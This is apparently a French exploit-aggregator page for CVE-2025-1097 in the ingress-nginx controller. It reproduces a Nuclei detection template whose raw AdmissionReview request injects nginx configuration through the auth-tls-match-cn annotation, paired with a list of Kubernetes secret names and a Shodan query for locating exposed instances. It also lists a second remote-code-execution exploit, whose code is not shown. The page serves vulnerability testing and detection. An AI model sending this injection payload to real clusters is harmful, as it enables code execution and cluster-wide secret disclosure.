Exploit matérialisé
CVE-2025-1097
HIGH2 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2025-1097 -u https://your-target
Template yaml
id: CVE-2025-1097
info:
name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
impact: |
Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-tls-match-cn annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
remediation: |
Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-tls-match-cn annotation.
reference:
- https://github.com/kubernetes/kubernetes/issues/131007
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2025-1097
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-1097
cwe-id: CWE-20
epss-score: 0.35534
epss-percentile: 0.98336
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"{{string}}","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"resource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},"namespace":"default","operation":"CREATE","userInfo":{"username":"admin"},"object":{"apiVersion":"networking.k8s.io/v1","kind":"Ingress","metadata":{"name":"{{string}}-auth-tls","namespace":"default","annotations":{"nginx.ingress.kubernetes.io/auth-tls-match-cn":"CN=abc #(\n){}\n }}\nssl_engine /aaa;\n#","nginx.ingress.kubernetes.io/auth-tls-secret":"{{secrets}}"}},"spec":{"ingressClassName":"nginx","rules":[{"host":"test.local","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"dummy","port":{"number":80}}}}]}}]}}}}
payloads:
secrets:
- kube-system/konnectivity-certs
- kube-system/azure-wi-webhook-server-cert
- kube-system/aws-load-balancer-webhook-tls
- kube-system/hubble-server-certs
- kube-system/cilium-ca
- calico-system/node-certs
- cert-manager/cert-manager-webhook-ca
- linkerd/linkerd-policy-validator-k8s-tls
- linkerd/linkerd-proxy-injector-k8s-tls
- linkerd/linkerd-sp-validator-k8s-tls
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'could not load the shared library'
condition: and
# digest: 4b0a0048304602210092d7f405fb8f2fcc61d9574f896c27cbb941d6445563b9da5224b21adec6a4c5022100cdd83ed88a3cf93a57dc80abcfc21be8d6a2d09430e1191ee20acc66fb6ce826:922c64590222798bb761d5b6d8e72950
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Par Beatriz Fresno Naumova
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code
Contenu pas encore matérialisé (récupéré au prochain cycle).
Voir à la source